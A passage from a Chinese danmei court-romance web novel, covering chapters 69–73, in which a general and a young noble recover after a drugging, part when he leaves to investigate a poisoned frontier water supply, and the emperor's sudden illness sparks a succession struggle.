正说着,屋门外传来云画清脆的嗓音。 “将军,张太医到了。” 沈翾冲门外道:“将人请进来。” “是,”云画道,“太医里面请。” 张太医拎着药箱踏门而入,一眼瞧见床上一坐一卧的两人。 瞧着竟有几分相得益彰。 沈翾站起身走到床边,将床头的位置让出来,负手而立道:“劳烦张太医替世子仔细瞧瞧。” 张太医点头上前:“那老夫失礼了。” 叶川遥伸出手,轻声道:“有劳太医了。” 张太医替他把过脉,慢条斯理道:“世子所中之药乃催.情散。” “药量虽猛,但好在药力已经散去,现下倒是并无大碍。” “只是经此一遭,世子的身子怕是要比从前更虚弱几分,需得好好休养才是。” “好。”沈翾郑重地应了声,顿了顿,道,“还有一事。” 太医洗耳恭听:“将军请讲。” 沈翾看了眼床榻上的人,清了清嗓子道:“世子他……昨夜受了些伤。” “太医可有什么良药?” 太医看向面色微红的叶川遥,当即明白过来。 随即便从药箱里拿出一个瓶子,递给沈翾。 嘱咐道:“可将此药涂于患处,每日早晚各涂一次。” “伤处不可碰水,痊愈前不可再行房!” 叶川遥:“……” 以张太医上一次散播消息的速度,怕是不用天亮,他与大将军纵欲过度伤了身的事,便能传遍大街小巷。 脸是没地儿搁了,干脆拿去铺地算了。 沈翾将药接下,面色自然地嗯了声:“我记下了,有劳太医。” 太医心照不宣地笑笑,又多说了一句:“那便……辛苦将军了。” 叶川遥:“……” 总觉得这老头是在一语双关。 太医刚欲抬脚离开,叶川遥将人喊住。 “太医留步。” “世子可还有什么吩咐?”张太医问。 “将军的伤势如何?” 张太医道:“世子不必太过担心。” “用刑之人控了力道,并未伤到骨头。” “老夫已替将军清理过伤口,养上十天半个月便可无碍。” 叶川遥这才放心了些,冲太医轻轻一笑:“多谢太医。” 张太医才出了门,沈翾便又坐到床边,将手里的药瓶打开。 语气自然道:“我帮你上药。” “……” 叶川遥僵硬地扯了扯嘴角:“不必麻烦将军了,我自己来……” “躺着别动,仔细扯到伤口。” 沈翾的语气不容置疑。 叶川遥没辙,只好放弃挣扎,艰难地翻了个身,任人宰割般地在床上趴好。 第70章 残霞淡隐, 苍茫天地间夜色弥漫。 云水阁的里间卧房内,沈翾与叶川遥一立一卧。 榻上之人闭着眼趴在交叠的手臂上。 长发倾泻,脸上一副视死如归的神情。 不就是擦个药嘛, 有什么大不了的。 往好了想,沈翾替他擦,总比太医亲自来瞧要好的多吧? 况且, 比这个更过分的事他们也早已做尽,还有什么不好意思的! 既说要携手一生, 便该坦诚以待! 理儿是这么个理儿, 可当亵裤从腿上缓缓褪下的那一刻,叶川遥还是忍不住红了脸。 虽说沈翾的全身上下也已被他看了个遍, 摸了个遍。 可那毕竟是在情动之时。 现在清醒着, 如此赤.裸裸地被人盯着, 可当真需要极厚的脸皮…… 他将脸整个埋进手心里, 像那冬日里将头扎进雪里的兔子。 好像只要这样就不用丢人了似的。 见他如此,沈翾轻笑一声, 漫不经心道:“羞什么?” “又不是没看过。” “……” 叶川遥捂着脸,耳尖红成了一片, 气急败坏地催促道:“哎呀, 你, 你快一点……” “翾哥哥,再快一点……” 娇柔的喘息声在脑海中陡然闪现。 沈翾视线微抬, 只见那纤长的白皙间青紫错落。 大大小小的印迹落在白玉般的皮肤上,无一不昭显出两人昨夜有多荒唐。 他呼吸一滞, 漆黑的眸子一言难尽地眨了眨。 “……” 往后绝不可如此孟浪。 虽如此告诫自己,但在瞧见那白得晃眼的柔软之处时,沈翾还是不禁周身一热。 小少爷紧贴着他索求的模样再次浮现。 他闭了闭眼, 用力舒了口气。 冷静片刻,这才取了药膏轻轻涂抹在伤处。 一股凉意袭来,叶川遥不由得颤了下。 身后传来轻柔的嗓音:“我轻一点,再忍一下。” 叶川遥嗯了声,忍着痛不再动。 涂好了药,沈翾将被子往上拉了拉,盖住那些暧昧旖旎的印迹。 随即出了房门,吩咐云画将厨房备好的吃食送过来。 不多时,云画将饭菜端进来放在桌子上。 放下后一刻不停便转身离开。 一双眼睛都没敢往屏风那边瞄一丝一毫。 醒了这许久,叶川遥这会儿倒是不再疼得厉害。 精神也恢复了些。 他翻了个身,看着面前的人道:“给我看看你的伤。” 沈翾将饭菜端到床前的柜子上,不以为意地清声道:“不严重,已经无碍了。” 叶川遥皱了皱眉,薄唇轻抿。 五十鞭打在身上已是皮开肉绽,又带着伤将他抱回府,还折腾了一夜。 伤口不知裂了几回,怎么可能无碍? 他撑着床慢慢坐起身,看着面前的人不容反驳地道:“快点给我看看。” “你不让我看,我夜里会睡不好的。” 沈翾坐在床边,将粥端在手里,舀了一勺送到他嘴边。 “先吃点东西,补补身子。” 见沈翾亲自喂他,叶川遥实在敌不过这般柔情,于是低头就着他的手吃了一口,含糊道:“那吃完你要给我看。” 沈翾无奈地嗯了声:“好……” 语气里满是宠溺。 但愿小少爷过一会儿能忘了此事。 耗费了一夜的体力,又睡了一天,叶川遥早就饥肠辘辘。 沈翾喂他,他也没客气,美滋滋地任由大将军伺候着。 “那道青笋好吃,明日能让他们再做一次吗?” “好,”沈翾记下,“你既喜欢,这几日便让他们每日都准备。” 叶川遥笑着应了声好。 被大将军伺候的感觉还真不赖。 柔声轻语,事事顺应,简直比神仙还要快活! 他这伤受得也算值了! 见他高兴,沈翾一边喂他一边又道:“还有什么想吃的,明日让厨房一并给你做。” 说起吃的,叶川遥立马来了精神。 别的不提,这吃的玩的他可太在行了。 叶川遥想了想,眼睛一亮道:“那明日让他们做道鲈鱼脍吧!” “这个季节的鲈鱼最肥最鲜,做鱼脍最好不过了!” “你身上有伤,这几日不宜进食鱼腥。” “哦,好吧。”叶川遥的脸色立马黯淡了几分。 沈翾将手里的碗放下,嗓音轻柔地商量道:“等身上的伤好了,我亲自给你做,如何?” 叶川遥闻言吃了一惊,瞪着眼道:“你还会下厨?” 沈翾淡笑一下:“嗯,会一点。” “真的?”叶川遥惊喜道,“那等伤好了,我可一定要好好尝一尝!” “能尝到大将军的手艺,我可太荣幸了!” 沈翾笑笑,朝他靠近些轻声道:“那往后,我便只给世子一个人做,可好?” 叶川遥心里一热,遂莞尔一笑:“嗯,那说话算话,你可不许给别人做。” 他顿了顿,将脸凑到沈翾面前,嗓音极轻道:“大将军的手艺,还有大将军的人……” “都只有我一个人能尝到。” 沈翾眸色一深,低声笑了下。 随即抬手轻轻捏了捏他的脸,嗓音深沉道:“嗯,都是你的。” 吃饱喝足,又被哄得极为高兴。 叶川遥脸上的血色逐渐恢复,脸颊红扑扑的,甚是好看。 虽然高兴,却也没忘了正事。 他拽着沈翾的手,正色几分道:“快点把衣服脱了,我要看看你的伤。” 沈翾轻叹一声,心知搪塞不过去,遂无奈地将外袍解开,将里衣的领子轻轻往下拉了拉。 还未等他转身,叶川遥先瞥见他胸前那星星点点的红印。 甚至还有两道不深不浅的牙印…… “……” 叶川遥眨眨眼,愣在原地。 他昨晚居然…这么粗暴的吗? “咳!”他清了清嗓子,故作自然道:“那个,你转过去。” 沈翾看他一眼,缓缓转过身,将自己的后背留给他。 叶川遥目光一顿,眼底倏地一红。 宽阔的脊背被白布缠绕包裹着,鲜红的血早已渗透,触目惊心。 他抬了抬手,在空中停顿一瞬,最后缓缓放下。 嗓音里带着哭腔道:“怎么渗了这么多血,快让太医来看看啊……” 沈翾将衣服拢上,转回身将人抱进怀里,柔声道:“早上刚换过药,伤口没那么快长好,渗血在所难免。” “不过早就不疼了,也就是瞧着吓人。” 叶川遥吸了吸鼻子,不禁一阵懊悔难过,心疼得不行。 自责道:“是我不好,你伤得这么重,还要你照顾我。” “你快回去躺着别动了!” 这一早上沈翾都脸色如常,甚至还同他说说笑笑,他便以为他伤得并不重。 原来他只是怕自己会担心,会心疼,所以才一直忍着…… 这么久,那些伤得有多疼…… 他环住沈翾的腰,趴在他怀里柔声道:“将军,我没有那么脆弱。你有什么事都可以同我说。” “受了伤要告诉我,疼也要告诉我。” “我也可以照顾你的,在我面前,你不必逞强,也不必事事都顾及我。” “你这样事事隐忍,我只会更心疼……” 沈翾心底流过阵阵暖意,一颗心被柔情填满。 刀尖舔血多年,他早已习惯了事事藏于心底。 不露悲喜,不求关怀。 如今却有一个人同他说,心疼他…… 他将人拥住,侧脸在柔软的发丝上轻轻蹭了蹭,轻叹道:“好,以后不管发生什么,都不瞒你。” 叶川遥在他怀里嗯了声,抬起头问:“疼得厉害吗?” 沈翾苦笑着点点头:“有一点。” “那怎么办,这么才能不那么疼?”叶川遥皱着眉问。 “太医给你开的什么方子,不能换成起效快一些的药吗?” 沈翾无奈轻笑:“就算是仙丹,也不能吃下去就好吧?” “无妨的,过两日也就不疼了。” “世子若真的心疼,那就……亲我一下吧。” 叶川遥没有丝毫犹豫,抬起下巴在他唇上轻轻亲了下。 “这几日换我来照顾你,你好好养伤,需要我做什么,尽管吩咐!” “你照顾我?”沈翾笑着道,“能下床吗?” “……” 叶川遥脸上一红,支支吾吾道:“我已经好多了,明日便能活蹦乱跳了!” 沈翾见他这副害羞的模样只觉可爱得紧,心里的喜爱更甚。 低头在他脸上亲了下,笑着道:“世子早日把身子养好,便算是照顾沈某了。” “……” 看着他眼中的浓浓情意,叶川遥眨眨眼,好像意外地听懂了他的弦外之音。 这根木头什么时候变得这么会调情了? 他轻轻咳了声,低着头嗓音极轻道:“那我早些把伤养好,不会让你忍太久的……” 沈翾:“……?” 小少爷是不是误会了什么? “我并非……” 他话音一顿,随即叹声道,“罢了,早日养好便是了。” 若这样想能让小少爷安心养伤,那便由着他去吧…… 之后的几日,叶川遥的用饭,穿衣,沈翾全都亲自伺候。 一日三餐皆在房里用。 白日沈翾陪着他散步下棋,夜里两人相拥而眠。 简直将人宠成了祖宗。 不过叶川遥也并未闲着。 太医来给沈翾换药,他便在旁边目不转睛地看着,将太医的叮嘱一一记下,生怕有什么遗漏。 后面几日,太医再来询问伤情时,干脆直接问起了他。 沈翾在一旁甚至插不上话。 两人没日没夜地在房里腻歪了几日。 期间除了明烛有急事来过一回,旁的人全被云画挡了回去。 将军难得有这样清闲的时候。 跟世子在一起,他的脸上总是带着笑,神情轻松,周身都像镀上了一层柔和的光。 这些云画都看在眼里,自然也为他们高兴。 她只盼着将军能日日都活得这样畅快! 只可惜,安宁的日子总是容易被打破。 一日清晨,一封八百里加急的密函自边关辗转而来。 沈翾看过信,眉头拧到了一处。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 密函送来时, 叶川遥刚同沈翾一起用过早饭。 见沈翾神色凝重,他不禁也跟着担心。 “可是边关出了什么事?” 沈翾眸色微沉,按信中所写如实道:“有人在兰溪泉中投毒, 陵川城中已有上千百姓中毒,军中亦然。” “如今人心惶惶,城中时有动乱。” “什么人居然如此狠毒?” 叶川遥心里一紧, 不禁担忧道:“可查出是何人所为?” 兰溪泉自西边的永宁山上蜿蜒而下,横贯整个陵川城。 泉水清澈甘甜, 水量充沛, 乃陵川城最主要的水源供给。 如今遭人投毒,这兰溪泉里的水怕是再不能用了, 城中一应生计必然会受到重大影响。 百姓的温饱一旦出了差池, 便容易生出变故。 若此时北渊再有异动…… 沈翾将信收起, 摇摇头道:“尚无头绪。” “此事非同小可, 需马上进宫禀明陛下。” 他顿了顿,看着叶川遥道:“大抵今夜, 我便要启程去往陵川,想来要待上些时日。” 叶川遥嗯了声:“你先进宫去见陛下, 旁的等回来再说。” “嗯。” 沈翾捏了捏他的手, 遂站起身, 叫上明烛一道出了府。 叶川遥站在门口望着他的背影远远淡去,心底忽地生出一丝不安。 但愿此行顺利, 百姓能安然度过此难…… 朝会上,沈翾将信中所写如实禀报给皇帝。 文武百官闻言皆忧心不已。 “如此丧心病狂之举, 定乃北渊细作所为。狼子野心,不可不防!” “当务之急是要尽快查出此事乃何人所为,下一步还有何阴谋。” “否则百姓人人自危, 军心涣散,岂不给了他人可乘之机?” “陵川百姓前些年饱受战乱之苦,安宁日子没过几日,如今又遭此劫难,需得好好安抚才是。” …… 大臣们你一言我一语,纷纷献策。 皇帝面色不明地思忖片刻,看向沈翾道:“大将军对此事有何见解?” 沈翾拱手道:“启禀陛下,现下事情仍在盘查之中,真相如何尚未可知。” “臣请旨赴陵川彻查此事,加强边防,防患于未然。” 他一开口,方才还惶惶不安的众臣们瞬间心安了几分。 赞同声此起彼伏。 “大将军所言极是,北渊狼子野心,不可不防啊!” “大将军亲自前去,定可安军心!” 于皇帝而言,陵川不过是一处边垂之地。 纵然陵川之事向来皆由沈翾打理,但到底边垂甚远,还威胁不到京城的安稳。 如今沈翾主动请旨,皇帝自然也没有不应的道理。 他看向沈翾,点头道:“那便依大将军所言,早日启程,平定边关,以安民心。” 沈翾颔首:“臣领旨。” 他顿了顿,看向皇帝道:“不过在动身之前,还有一事,臣请陛下能秉公处理。” 皇帝眸光微闪,看着他问:“何事?” 沈翾面色清冷,不紧不慢道:“回陛下。” “前几日万寿节宫宴后,六殿下将世子掳去六皇子府,并施以迷药,欲图不轨。” “若非臣及时赶到,世子此时恐怕已化为一具白骨。” 堂下顿时传出阵阵嘈杂。 朝臣们自然知道六皇子独得圣宠,向来我行我素。 平日里无人敢置喙,言官们虽时有控诉,但皇帝也只是小以惩戒,无关痛痒。 没想到这次他竟如此不知分寸,胆大妄为。 那日大将军刚为了抗旨赐婚一事而被罚了鞭刑,谁还不知,这世子俨然就是大将军的命! 而他居然还敢将人掳了去,岂不公然打大将军的脸? 况且明知二人已私定终身,却夺人所爱,欲加凌辱,哪还有一点皇子的样子? 皇帝眼色深了深,看向立在一旁的季寒,幽声问:“六殿下,可有此事?” 季寒站出来,颔首道:“回父皇,那日儿臣见世子醉的厉害,恐其独自回府会有差池,这才将人带回了府里。” “想着等酒醒了,再将世子好生送回国公府。” “可未曾想,大将军竟带着侍卫直接闯进了儿臣的府邸。” “刀枪剑戟,好不威风。” “儿臣还被大将军踢伤了肋骨,前两日,儿臣未能上朝也正因如此。” 有朝臣闻言立即大声道:“大将军怎可随意伤人?” “难不成仗着手里有几个兵,竟将皇子都不放在眼里了吗?” “对待皇子尚且如此,这朝中上下,怕是没有什么人能让大将军忌惮的吧?” 季寒一党你一言我一语,武将们自然也不是吃素的。 嗓门甚至更高,话也更糙。 “大将军闯府是为救人,若不是六殿下撸人在先,又岂会白白挨了一脚?” “那日我可是亲眼见着六殿下对世子百般纠缠。” “世子多番推拒,六殿下却还是将人带回府里,不知安的是什么心思?” “这朝中谁人不知大将军与世子早已情定终身,毁他人姻缘可不是什么君子所为!” “哼,私定终身罢了,又未成婚,算哪门子的姻缘?” “……” 两党争执不休,所言之事也越来越偏离正题。 皇帝蹙了蹙眉心,甚感心烦,恨铁不成钢地看向季寒。 为了个男子做出如此荒唐之事,将来如何成就大业? 沈翾抬了抬手,朝皇帝道:“陛下,当日之事,臣已调查清楚。” “六殿下在酒器中做了手脚,下药一事,证据确凿。” “臣已将人证物证交于御史台,陛下若不信,尽可细细盘查。” 皇帝闻言目光一暗,心里郁火丛生。 他端起白玉盏饮了口凉茶,心口的烦热却并未消退。 不过短短两日,沈翾竟已暗自将事情查了个水落石出。 如此手眼通天,却无人察觉,他在这宫中究竟还有多少势力? 而他这个皇帝的身边,又有多少大将军的眼线…… 沈翾目光坦荡地看着皇帝。 此事他不藏锋芒,就是想要皇帝和季寒知道。 他按兵不动,并非是因畏惧皇权,而只因他不屑生事而已。 但若他们执意要与他为难,要与他在意之人为难,那他也不介意让他们知道,什么才是真正的寝食难安。 他们提防他,忌惮他,他都可以不予理会。 但他们敢动世子,他绝不会坐视不理。 皇帝静了静神色,看向周印,故作淡定道:“周爱卿,大将军所言可属实啊?” 周印站出来,清声道:“回陛下,大将军所言不假。” “臣已将此事尽数查清。此乃卷宗,请陛下过目。” 宫人上前将卷宗接过,呈给皇帝。 皇帝面色阴沉地看完,心知此事无法善了。 垂眸思忖片刻,沉声道:“六皇子言行有失,有损皇家体面,罚俸半年,禁足一月,闭门思过。” 季寒攥了攥拳,咽下心口的不甘,俯首道:“儿臣遵旨。” 散了朝会,百官先后出宫离去。 宫门口一时车水马龙,熙熙攘攘。 出了宫门,季泽抬脚稳步走到沈翾的车架前,郑重地拱手道:“祝大将军此行一帆风顺,早日平安归来。” 沈翾抬了抬手,微微倾身回道:“多谢三殿下。” “殿下保重。” 季泽眼中闪过不明微光,压了压嗓音道:“京中有我,表兄尽可放心。” 沈翾淡淡一笑:“照顾好姑母,万事小心。” 回府的途中,明烛出声问:“将军,我们何时动身?” “今夜。”沈翾道,“回府后让大家立刻收拾行装,太阳落山便动身。” “这么急?”明烛不禁担心,“可是你的伤……” “无妨,”沈翾沉声道,“此事耽搁不得。” “有张太医同行,不会有事。” 明烛这才点点头:“好,那我让兄弟们即刻准备。” 沈翾看他一眼,缓缓道:“此行凶险,这一去不知要待上几个月。” “去同南桑道个别吧。” 明烛眸光一顿,末了嗯了声:“好……” 回到府里时,叶川遥正在前院凉亭中闲坐着。 亭下芭蕉开得正盛,红艳妖娆,随风轻颤。 沈翾的身影方一出现,他立刻眼中一亮,小跑着迎上去。 “回来了?” 沈翾嗯了声,抬手替他将额前汗湿的碎发向一旁拨了拨。 语气轻柔道:“这么热的天,怎么不在房里待着?” 叶川遥弯唇笑笑:“房中太闷,出来透透气。” 明烛先去安排一应事宜,留下两人说话。 叶川遥陪着沈翾回到紫云轩。 看着他问:“何时动身?” 沈翾抬眼,慢条斯理应道:“太阳落山便启程。” 说完两人沉默一瞬。 空气中流动着浓浓的不舍。 他们才在一起不久,如今便又要分开…… 叶川遥想了想,试探着轻声问:“将军可否带上我一起去?” 沈翾眼中轻轻一闪,目光深沉地看向身旁之人。 从前孤身惯了,便不觉得有什么。 可如今食髓知味,方知情之一字,蚀骨悦心,令人沉沦。 他又何尝不想日日同他身在一处。 可此行凶险,归期未定,他不能让阿遥陪着他涉险。 他握住叶川遥的手,顿了顿道:“投毒只是开始,如今城中动乱,战事一触即发。” “你若跟去,我会分心。” 叶川遥轻轻点了点头,竟没再坚持。 只是倾身环住他的腰,在他怀里道:“你怕因我分神,我不去便是。” “可若你让我等来的是一具白骨,我便立刻跳入这莲花池中!” “将军定不忍心让我受此苦楚吧?” 这话沈翾只是听听便觉得心中一阵刺痛。 不禁蹙眉道:“莫要胡说。” 叶川遥贴得更紧,轻声道:“那便早日平安回来。” 沈翾嗯了声,将人紧紧抱进怀中,带着无尽的珍视。 一字一句正色道:“我答应你,一定会平安回来,绝不留你一人。” “阿遥,等我回来,我们便成亲。” “好不好?” 叶川遥趴在他怀里,微微一愣。 随即闭着眼应了声好。 哽咽着道:“翾哥哥,别让我等太久。” “我会很想你的。” 沈翾心头一阵悸动,满是不舍。 只想就这样一直抱着他,不必忍受分别之苦,相思之痛。 他低下头,在叶川遥头顶亲了亲。 轻轻应了声:“好。” 为了所爱之人,再苦的日子,他也定会熬过去…… 第72章 明烛安排好随行事宜, 刚欲动身前往忘川阁,却见南桑赫然出现在将军府门口。 他惊喜地迎上去,面露欣喜道:“南桑!” “你怎么过来了, 我正打算过去找你!” 南桑翻身下马,一身蓝色轻装潇洒随性。 他信步走到明烛面前,嘴角微微牵出一抹浅笑。 语气里带着几分无奈:“我若不来, 你和将军就打算把我一个人留在京城?” 明烛抿了抿唇:“你都知晓了?” “嗯,”南桑应了声, “事态紧急, 我随你们一同前去。” 明烛眼底闪了闪,心中生出几分欣喜, 但转瞬一想, 又觉不妥。 “算了, 你并非军中之人, 还是留在京中,也好有个照应。” 南桑朝他走近些, 眉目深邃温柔,似藏了无尽缱绻。 目光专注地看了他须臾, 才轻声道:“明知前路凶险, 我又怎能同你们分开, 独自一人留下?” 明烛看着他眼底的柔光,心中一动。 低声道:“你好不容易走到今日, 安宁日子才过了没几天,何必再涉险?” 南桑笑笑, 嗓音漫不经心:“若不能与你同甘共苦,我一人安宁,又有何用?” “难道在你心里, 我就是这般独善其身之人?” 明烛闻言微微一怔,眼底轻轻闪过一丝动容。 虽说过生死不弃,但听他如此说,明烛的心里还是一阵震颤。 他看着南桑深邃的眼底,一些朦胧的想法呼之欲出。 未敢深想,他顿了顿,末了只道:“那便……问问将军的意思吧。” 紫云轩内,叶川遥默默陪沈翾收拾好行囊。 一切打点就绪。 “我走了,”沈翾看着面前的人,轻声道,“照顾好自己。” 叶川遥吸了吸鼻子,不舍地点点头。 “我知道,我会好好地等你凯旋,不用为我担心。” “你也要照顾好自己,按时吃饭。” “别让自己受伤。” “若不小心受了伤,一定要好好喝药,不要逞强……” 他啰里吧嗦地说了一通,到最后自己都已记不清说了些什么。 恍然回神已泣不成声。 他知道,此一去战事必起,归期不定。 沈翾将要面对的是重重危险,步步为营。 又要像从前一样,过刀尖舔血、夜不安寝的日子。 他担心,也心疼。 可却无能为力。 这是沈翾身为大将军的职责,也是他的信仰。 家国、百姓,是他永远无法割舍的信念。 见他泪眼摩挲,沈翾心底也不禁一疼。 他低头在叶川遥的唇上深深地亲了亲,忍着不舍低声道:“世子的叮嘱,我都记下了。” 叶川遥嗯了声,抬起头看着他,轻轻眨了眨眼,缓缓道:“走吧,该动身了……” 就算再不舍,分别也终要到来。 沈翾嗯了声,同他并肩向府门外而去。 廊下微风阵阵,夏木葱郁,繁花锦簇。 二人步履轻缓,衣角微扬,一路默默无言。 只希望这段路能再长一些,日子可以再慢一些。 府门口见到南桑,沈翾并不意外。 只问了句:“阁中事务已都安排妥当?” “嗯,”南桑应道,“放心,一切如常。” “况且京中还有三殿下在,不会出岔子。” 沈翾嗯了声:“那便走吧。” 三人上马,叶川遥站在门口,郑重地朝他们拱了拱手。 “祝几位此去一路顺风,阿遥在此等待几位凯旋而归。” “珍重。” 南桑和明烛抬手应道:“世子珍重。” 叶川遥朝几人露出一抹浅笑,真挚道:“一路平安。” 沈翾居高临下,深深地看了一眼翩翩而立之人,沉声唤他:“过来。” 叶川遥走到马身侧,仰着头目光灼灼地看他。 似要将这副俊朗面容镌刻在心底。 分别的日子,大抵就要靠这些记忆来缓解相思之痛了。 沈翾弯下腰,抬手捏住他扬起的下巴,在他唇边落下浅浅一吻。 微微停留一瞬,起身道了声:“走了。” 随即策马扬长而去。 南桑轻轻一笑,朝叶川遥颔了颔首,又冲身旁的明烛道:“走吧。” “阿遥保重!”明烛道了声,随南桑一道追着沈翾而去。 “保重!” 叶川遥站在原地,冲着几人的背影不停地挥手。 马蹄起,尘飞扬,只盼君归。 * 沈翾不在的日子,叶川遥总觉得心空了一半。 纵然每日读书练武,同将士们说说笑笑,日子过得忙碌充实。 可还是总觉得少了些什么。 不过好在每隔四五日,他便会收到一封沈翾差人送来的“家书”。 得知他平安,叶川遥的心里才总算踏实了些。 怕他在边关劳累烦闷,叶川遥总是在回信里写一些有趣的事。 写他又吃到了什么新鲜的吃食,买了什么巧艺的木雕。 哪家的公子和哪家的小姐定了亲,府里哪个侍卫的夫人生了孩子…… 每次都洋洋洒洒写上好几页。 只希望沈翾在忙碌之余,见到他的信能开心几分。 晚饭后,他和云画坐在院子里乘凉。 叶川遥撑着下巴望着墙边的桃树。 见树上粉红的桃子挂了满树,摇摇欲坠,不禁微微出神。 当日树下醉酒之景还历历在目。 如今花开花落,兜兜转转,他还在这里。 他轻轻弯了弯唇,冲云画道:“云画,明日摘些桃子,我们酿几坛桃子酒吧。” “等将军回来的时候,好给将军接风!” “好,”云画笑着应下,看着他道,“世子可是想念将军了?” 叶川遥低下头微微一笑,似有些羞稔,却并未否认。 嗓音极轻地应了声:“嗯,想他了。” 刻骨相思只化作这一声叹息。 云画笑笑:“将军一定很快就能回来的!” “将军他那么厉害,没有什么事情是他做不到的。这次也一样!” “世子只管放宽心,照顾好自己,好好等将军回来!” 将军临行前叮嘱她要好好照顾世子,她不能让将军失望。 叶川遥牵了牵嘴角:“没错。” “我们要开开心心地等他们回来。” 两世他都等了,不过才几个月而已,算不得什么。 第73章 皇帝病重的消息传到府里时, 叶川遥正在读沈翾寄来的回信。 信中说,他和张太医一到陵川,便带着当地的医师们全力救治城中的百姓和兵将。 张太医衣不解带地验了一天一夜, 终于验出众人所中之毒为何物。 大部分中毒者得以保全性命。 军中虽元气大伤,但有沈翾亲自坐镇,安抚军心, 一切总算逐步得以恢复。 只是近日来北渊频频偷袭,加之中毒一事, 城中百姓人心惶惶。 军中也是全力戒备, 不敢有丝毫懈怠。 沈翾每日在军营和城中来回奔波,忙得不可开交。 叶川遥正在为他有没有好好吃饭而忧心, 就见管家沈春海急匆匆进来。 神色慌张道:“听说皇帝突发重疾, 今日早朝都免了!” “这会儿整个太医院的人都被召进了宫!” 叶川遥心里一惊, 忙问:“可有说是什么病症?” “听说是昨个夜里突然开始咳嗽, 胸口闷,上不来气儿。” “郑贵妃连夜召了太医进宫。” “太医开了方子, 一副药吃下去不但没见好,今早反而连神智都不清了!” 叶川遥闻言震惊不已。 皇帝这病来得太蹊跷, 恐怕不简单。 他想了想, 叮嘱管家:“海叔, 让人盯紧宫里,有消息再来报。” “是, ”沈管家心有余悸,慢声道, “这京中,怕是要变天了啊。” 叶川遥抿唇思忖。 太子人选一直悬而未定,如今皇帝这一病, 若真有个三长两短,朝中必会掀起一场血雨腥风。 偏偏沈翾此时还不在京中。 为何他方一离京,皇帝便出了事。 若这一切只是巧合,未免也太巧了些…… 他凝神思忖片刻,立即提笔给沈翾写了封回信。 皇帝昏迷了两日,太医们白日黑夜地研究药方,却始终不见成效。 此病来势汹汹,可看着又不像是肺痨,也不似疫症,实在令人费解。 见皇帝始终未醒,朝中上下逐渐议论纷纷。 国不可一日无君,得早些定下太子人选才是。 皇后同几位妃子轮流在皇帝的寝殿中侍疾。 几位皇子和朝中重臣便守在寝外,焦灼地等着消息。 等了几日终于等到皇帝清醒,一行人忙上前求见。 皇帝微微睁开眼,望向殿外众人,有气无力道: “朕还没死,都守在这里做什么?” “退下……” 丞相魏庄俯身跪下道:“陛下,太子之位空悬已久,还请陛下早日决断。” 有人站出来附和:“陛下龙体有恙,若能早日定下太子人选,也好为陛下分忧。” 皇帝眼底一深,呼吸急促了几分,道:“你们……这是在盼着朕死吗?” “微臣不敢!”门口众人齐身跪下。 魏庄低着头高声道:“陛下福泽深厚,得仙人庇佑,自是千秋万代。” “但国不可一日无君。” “如今陛下身体抱恙,合该有人出来主持朝政才是啊!” 三位皇子屈膝跪着,一时谁都未曾开口。 皇帝缓了缓,朝身旁之人道:“皇后,扶朕起来。” “是。” 皇后和内侍将人扶起来,靠在软枕之上。 皇帝看向门外,思索片刻,缓缓道:“丞相、太傅、御史大夫,你们几个进来。” “其余人都先退下吧。” 门外众人互相看了看,齐身道了声是,随即退出宫院。 三人进了门,立于床前。 皇后朝皇帝躬了躬身,也退了出去。 屋内顿时安静下来,皇帝的喘息声显得格外费力。 他看向三人,缓缓开口道:“依几位爱卿之见,这太子的人选,该定哪位皇子呢?” 丞相魏庄躬身道:“太子之位关乎大盛江山,想必陛下心中自有决断。” “臣等不敢置喙。” 皇帝哼了声,嗓音不悦道:“方才还让朕尽早决断,这会儿怎么反而不敢置喙了?” 魏庄当即跪下,言辞恳切道:“立储一事关乎大盛安危,臣才不得不提,陛下恕罪……” “罢了,”皇帝沉声打断他,没有力气听他再说那些囫囵话。 他看向太傅,用力呼出一口气,问:“几位皇子自幼便得太傅教导,想来太傅对他们几人的品行最是了解。” “依太傅之见,哪个可堪重任啊?” 老太傅弯了弯身子,思忖着道:“老臣斗胆,陛下既问老臣,老臣自是实话实说,不敢欺君。” 皇帝轻轻眨了眨眼:“太傅但说无妨。” 老太傅应了声,不疾不徐道:“臣以为,三皇子克己勤政,德行兼备,睿智有度。” “是为皇家典范,可堪托付。” 皇帝闻言视线微顿,一时并未表态。 魏庄眼里闪过一道不明精光。 他知道皇帝最是疼爱六皇子,因为这孩子的心性最像他。 且郑贵妃荣宠多年,连带着皇帝对六皇子也是更偏爱几分。 他揣摩着皇帝的心思,笃定皇帝定是想立季寒为储君。 这才有了先前那一番话。 可没想到这老太傅竟然直接推举三殿下,若陛下真动了心…… 他想了想,出声道:“三皇子虽德行有佳,但性子未免太过温和了些。” “若他日沈家生出不臣之心,只怕不好应对……” 这话算是说到了皇帝的心坎儿上。 他一直忌惮的便是外戚当权。 沈家兵权在握,以季泽的性子,若皇后从中斡旋,他怕是不忍对沈翾下手。 如此一来,岂不是养虎为患…… 皇帝沉思一瞬,看向周印:“周爱卿有何见解?” 周印淡淡地眨眨眼,颔首道:“臣以为,不如先让三殿下和六殿下一同监国,以视成效。” “待陛下龙体康复,再行定夺。” 皇帝这场病来的蹊跷。 若太子人选一定,皇帝便恐命不久矣。 如今沈翾不在京中,这朝中可经不起如此大的变故。 皇帝尚在病中,吵了这半日已是头疼至极。 这会儿的确也是无力思索,遂道:“周爱卿言之有理。” “那便拟旨吧。” “朕患病期间,由三皇子和六皇子代为监国。” “另立三公为辅政大臣,辅佐二位皇子共理朝政。” 三人闻言齐齐跪下,应声道:“臣遵旨。” 当晚,管家将宫里传出的消息悉数讲给叶川遥听。 叶川遥皱了皱眉,只觉此事越来越不简单。 如今看来,皇帝还是想将太子之位传于季寒。 让两位皇子共同监国,不过是碍于朝臣反对,缓兵之计罢了。 可任谁看,这太子之位都该给品行才识俱佳的三殿下才是。 皇帝当真对季寒如此偏爱,竟不顾大盛的将来,也要立季寒为储君? 叶川遥百思不得其解,想来想去,只想到一种可能。 因为沈家。 皇帝果然从未对沈家放下忌惮之心。 即便皇后的兄长已战死,即便沈翾并未有任何逾矩,他终究还是不放心。 “小人之心。”叶川遥忍不住骂了句。 “世子说什么?”管家问。 “没什么,”叶川遥道,“这京中接下来的日子,怕是无法安生了。” 也不知沈翾何时才会回来…… 管家叹口气:“储位之争向来都是你死我活,只希望三殿下能不负众望,安然度过此劫吧……” “若是让六殿下继了皇位,我们沈家怕是要有灭顶之灾了。” 叶川遥皱了皱眉,问:“太医院那边可有新进展?” 管家摇摇头:“太医们只当肺痨来治,可又不敢将实情告知陛下。” 